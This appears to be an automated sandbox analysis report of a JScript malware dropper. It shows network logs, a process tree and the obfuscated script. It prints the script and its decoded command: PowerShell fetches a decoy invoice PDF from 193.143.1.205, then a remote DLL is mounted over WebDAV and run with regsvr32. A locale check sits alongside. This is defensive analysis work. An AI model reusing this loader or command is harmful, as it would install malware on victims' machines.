Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:04:45.619165897 CET	1.1.1.1	192.168.2.10	0x4ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:09.713673115 CET	1.1.1.1	192.168.2.10	0x3fc5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:09.713673115 CET	1.1.1.1	192.168.2.10	0x3fc5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:33.839289904 CET	1.1.1.1	192.168.2.10	0xab0	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:57.932228088 CET	1.1.1.1	192.168.2.10	0xef25	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:05:57.932228088 CET	1.1.1.1	192.168.2.10	0xef25	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49722	193.143.1.205	80	6708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:04:05.796792030 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:04:06.639360905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:04:06.639377117 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:04:06.639398098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:04:06.639416933 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:04:06.639430046 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:04:06.639448881 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 06:04:06.639461040 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:04:06.639472961 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:04:06.639486074 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:04:06.639508009 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 11, 2025 06:04:06.644499063 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49738	193.143.1.205	8888	7860	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:04:08.466950893 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:04:09.281529903 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:09 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:04:01
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2227274219703378.js"
Imagebase:	0x7ff6368f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:04:01
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll
Imagebase:	0x7ff734980000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:04:01
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:04:01
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:04:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:04:07
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff734980000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:04:07
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f6810000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:04:07
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:04:07
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:04:08
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1696,i,1794104358576165871,10114287455485969065,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wuisdg() {	wuisdg() ➔ undefined
1	okmmuhdkx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var tcblx = this[yctmtv + xbcfzzjvq + lecimm + mnmtrna + keuki + yyqcv + rupdx + kynagi] ( this[dqivka + gfomes + cevfpdrzd + lecimm + psjgym + yctmtv + kynagi][psfpkasd + lecimm + keuki + xbcfzzjvq + kynagi + keuki + lzygudom + chvib + vnjhf + keuki + cevfpdrzd + kynagi] ( dqivka + gfomes + cevfpdrzd + lecimm + psjgym + yctmtv + kynagi + tpmmgvs + gfomes + mvzvdkqr + keuki + pvtlscep + pvtlscep ) [bvfgwfzej + keuki + etxzew + bvfgwfzej + keuki + xbcfzzjvq + spobtqxdc] ( smwcmpf + qkhqhdtf + lhsqveywv + wtbwlpnqt + zgapte + psfpkasd + ckoxtdfd + bvfgwfzej + bvfgwfzej + lhsqveywv + rxisx + vujcml + zgapte + ckoxtdfd + gfomes + lhsqveywv + bvfgwfzej + nknwvvgw + psfpkasd + kgbsibooz + rupdx + kynagi + lecimm + kgbsibooz + pvtlscep + xtyylehb + vzwyblo + xbcfzzjvq + rupdx + keuki + pvtlscep + nknwvvgw + yyqcv + rupdx + kynagi + keuki + lecimm + rupdx + xbcfzzjvq + kynagi + psjgym + kgbsibooz + rupdx + xbcfzzjvq + pvtlscep + nknwvvgw + mjgqbi + kgbsibooz + cevfpdrzd + xbcfzzjvq + pvtlscep + keuki ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oyublmezi = 0 ; oyublmezi < okmmuhdkx[pvtlscep + keuki + rupdx + etxzew + kynagi + mvzvdkqr] ; ++ oyublmezi )
4	{
5	if ( tcblx == okmmuhdkx[oyublmezi] )
6	{
7	tcblx = true;
8	break ;
9	}
10	}
11	if ( tcblx !== true )
12	this[dqivka + gfomes + cevfpdrzd + lecimm + psjgym + yctmtv + kynagi][puwmvf + hagxil + psjgym + kynagi] ( );
13	this[dqivka + gfomes + cevfpdrzd + lecimm + psjgym + yctmtv + kynagi][psfpkasd + lecimm + keuki + xbcfzzjvq + kynagi + keuki + lzygudom + chvib + vnjhf + keuki + cevfpdrzd + kynagi] ( dqivka + gfomes + cevfpdrzd + lecimm + psjgym + yctmtv + kynagi + tpmmgvs + gfomes + mvzvdkqr + keuki + pvtlscep + pvtlscep ) [lecimm + hagxil + rupdx] ( cevfpdrzd + ljzdcz + spobtqxdc + xtyylehb + qnkhm + cevfpdrzd + xtyylehb + yctmtv + kgbsibooz + iofkp + keuki + lecimm + mnmtrna + mvzvdkqr + keuki + pvtlscep + pvtlscep + tpmmgvs + keuki + wlbzvcitx + keuki + xtyylehb + kqfyhc + psfpkasd + kgbsibooz + ljzdcz + ljzdcz + xbcfzzjvq + rupdx + spobtqxdc + xtyylehb + fpsbzvd + yyqcv + rupdx + hoovi + kgbsibooz + txyht + keuki + kqfyhc + dqivka + keuki + chvib + bvfgwfzej + keuki + xopwtfu + hagxil + keuki + mnmtrna + kynagi + xtyylehb + kqfyhc + lzygudom + hagxil + kynagi + rurqtxbm + psjgym + pvtlscep + keuki + xtyylehb + tslxwrny + kynagi + keuki + ljzdcz + yctmtv + tslxwrny + nknwvvgw + psjgym + rupdx + hoovi + kgbsibooz + psjgym + cevfpdrzd + keuki + tpmmgvs + yctmtv + spobtqxdc + ulhgyx + xtyylehb + mvzvdkqr + kynagi + kynagi + yctmtv + zgxechkm + qnkhm + qnkhm + ojgjbn + euqlkjhgy + jpezvsb + tpmmgvs + ojgjbn + quzam + jpezvsb + tpmmgvs + ojgjbn + tpmmgvs + dbztatvv + uhxnofubp + bivvmg + qnkhm + psjgym + rupdx + hoovi + kgbsibooz + psjgym + cevfpdrzd + keuki + tpmmgvs + yctmtv + mvzvdkqr + yctmtv + fpsbzvd + drdcb + drdcb + mnmtrna + kynagi + xbcfzzjvq + lecimm + kynagi + xtyylehb + tslxwrny + kynagi + keuki + ljzdcz + yctmtv + tslxwrny + nknwvvgw + psjgym + rupdx + hoovi + kgbsibooz + psjgym + cevfpdrzd + keuki + tpmmgvs + yctmtv + spobtqxdc + ulhgyx + drdcb + drdcb + cevfpdrzd + ljzdcz + spobtqxdc + xtyylehb + qnkhm + cevfpdrzd + xtyylehb + rupdx + keuki + kynagi + xtyylehb + hagxil + mnmtrna + keuki + xtyylehb + nknwvvgw + nknwvvgw + ojgjbn + euqlkjhgy + jpezvsb + tpmmgvs + ojgjbn + quzam + jpezvsb + tpmmgvs + ojgjbn + tpmmgvs + dbztatvv + uhxnofubp + bivvmg + vjkwdq + zboibi + zboibi + zboibi + zboibi + nknwvvgw + spobtqxdc + xbcfzzjvq + hoovi + iofkp + iofkp + iofkp + lecimm + kgbsibooz + kgbsibooz + kynagi + nknwvvgw + drdcb + drdcb + cevfpdrzd + ljzdcz + spobtqxdc + xtyylehb + qnkhm + cevfpdrzd + xtyylehb + lecimm + keuki + etxzew + mnmtrna + hoovi + lecimm + jpezvsb + dbztatvv + xtyylehb + qnkhm + mnmtrna + xtyylehb + nknwvvgw + nknwvvgw + ojgjbn + euqlkjhgy + jpezvsb + tpmmgvs + ojgjbn + quzam + jpezvsb + tpmmgvs + ojgjbn + tpmmgvs + dbztatvv + uhxnofubp + bivvmg + vjkwdq + zboibi + zboibi + zboibi + zboibi + nknwvvgw + spobtqxdc + xbcfzzjvq + hoovi + iofkp + iofkp + iofkp + lecimm + kgbsibooz + kgbsibooz + kynagi + nknwvvgw + dbztatvv + bivvmg + euqlkjhgy + zboibi + bivvmg + wjfos + euqlkjhgy + wjfos + ojgjbn + ojgjbn + ojgjbn + zboibi + dbztatvv + uhxnofubp + tpmmgvs + spobtqxdc + pvtlscep + pvtlscep, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25985797111820.dll",0,false) ➔ 0
14	}
15	qnkhm = "g";
16	qnkhm = "K";
17	qnkhm = "G";
18	qnkhm = "V";
19	qnkhm = "u";
20	qnkhm = "d";
21	qnkhm = "S";
22	qnkhm = "s";
23	qnkhm = "x";
24	qnkhm = "d";
25	qnkhm = "q";
26	qnkhm = "t";
27	qnkhm = "C";
28	qnkhm = "/";
29	quzam = "R";
30	quzam = "d";
31	quzam = "C";
32	quzam = "R";
33	quzam = "s";
34	quzam = "P";
35	quzam = "Q";
36	quzam = "J";
37	quzam = "J";
38	quzam = "L";
39	quzam = "R";
40	quzam = "e";
41	quzam = "z";
42	quzam = "j";
43	quzam = "o";
44	quzam = "i";
45	quzam = "P";
46	quzam = "Q";
47	quzam = "U";
48	quzam = "b";
49	quzam = "H";
50	quzam = "R";
51	quzam = "m";
52	quzam = "B";
53	quzam = "n";
54	quzam = "e";
55	quzam = "s";
56	quzam = "N";
57	quzam = "L";
58	quzam = "I";
59	quzam = "R";
60	quzam = "I";
61	quzam = "H";
62	quzam = "B";
63	quzam = "M";
64	quzam = "q";
65	quzam = "E";
66	quzam = "p";
67	quzam = "q";
68	quzam = "t";
69	quzam = "4";
70	ljzdcz = "p";
71	ljzdcz = "r";
72	ljzdcz = "O";
73	ljzdcz = "D";
74	ljzdcz = "C";
75	ljzdcz = "f";
76	ljzdcz = "P";
77	ljzdcz = "v";
78	ljzdcz = "Y";
79	ljzdcz = "W";
80	ljzdcz = "w";
81	ljzdcz = "G";
82	ljzdcz = "O";
83	ljzdcz = "I";
84	ljzdcz = "C";
85	ljzdcz = "E";
86	ljzdcz = "r";
87	ljzdcz = "T";
88	ljzdcz = "Z";
89	ljzdcz = "p";
90	ljzdcz = "W";
91	ljzdcz = "f";
92	ljzdcz = "c";
93	ljzdcz = "X";
94	ljzdcz = "z";
95	ljzdcz = "C";
96	ljzdcz = "g";
97	ljzdcz = "S";
98	ljzdcz = "t";
99	ljzdcz = "g";
100	ljzdcz = "L";
101	ljzdcz = "x";
102	ljzdcz = "k";
103	ljzdcz = "w";
104	ljzdcz = "u";
105	ljzdcz = "x";
106	ljzdcz = "r";
107	ljzdcz = "m";
108	kqfyhc = "A";
109	kqfyhc = "s";
110	kqfyhc = "D";
111	kqfyhc = "e";
112	kqfyhc = "Z";
113	kqfyhc = "i";
114	kqfyhc = "M";
115	kqfyhc = "y";
116	kqfyhc = "u";
117	kqfyhc = "u";
118	kqfyhc = "v";
119	kqfyhc = "E";
120	kqfyhc = "M";
121	kqfyhc = "u";
122	kqfyhc = "P";
123	kqfyhc = "g";
124	kqfyhc = "b";
125	kqfyhc = "f";
126	kqfyhc = "J";
127	kqfyhc = "k";
128	kqfyhc = "b";
129	kqfyhc = "N";
130	kqfyhc = "I";
131	kqfyhc = "a";
132	kqfyhc = "-";
133	chvib = "t";
134	chvib = "b";
135	ckoxtdfd = "U";
136	bvfgwfzej = "O";
137	bvfgwfzej = "u";
138	bvfgwfzej = "m";
139	bvfgwfzej = "I";
140	bvfgwfzej = "Y";
141	bvfgwfzej = "Z";
142	bvfgwfzej = "G";
143	bvfgwfzej = "a";
144	bvfgwfzej = "U";
145	bvfgwfzej = "F";
146	bvfgwfzej = "B";
147	bvfgwfzej = "P";
148	bvfgwfzej = "t";
149	bvfgwfzej = "x";
150	bvfgwfzej = "x";
151	bvfgwfzej = "h";
152	bvfgwfzej = "H";
153	bvfgwfzej = "G";
154	bvfgwfzej = "R";
155	spobtqxdc = "u";
156	spobtqxdc = "a";
157	spobtqxdc = "i";
158	spobtqxdc = "d";
159	xtyylehb = "e";
160	xtyylehb = "L";
161	xtyylehb = "W";
162	xtyylehb = "r";
163	xtyylehb = "g";
164	xtyylehb = "U";
165	xtyylehb = "e";
166	xtyylehb = "e";
167	xtyylehb = "o";
168	xtyylehb = "V";
169	xtyylehb = "o";
170	xtyylehb = "x";
171	xtyylehb = "y";
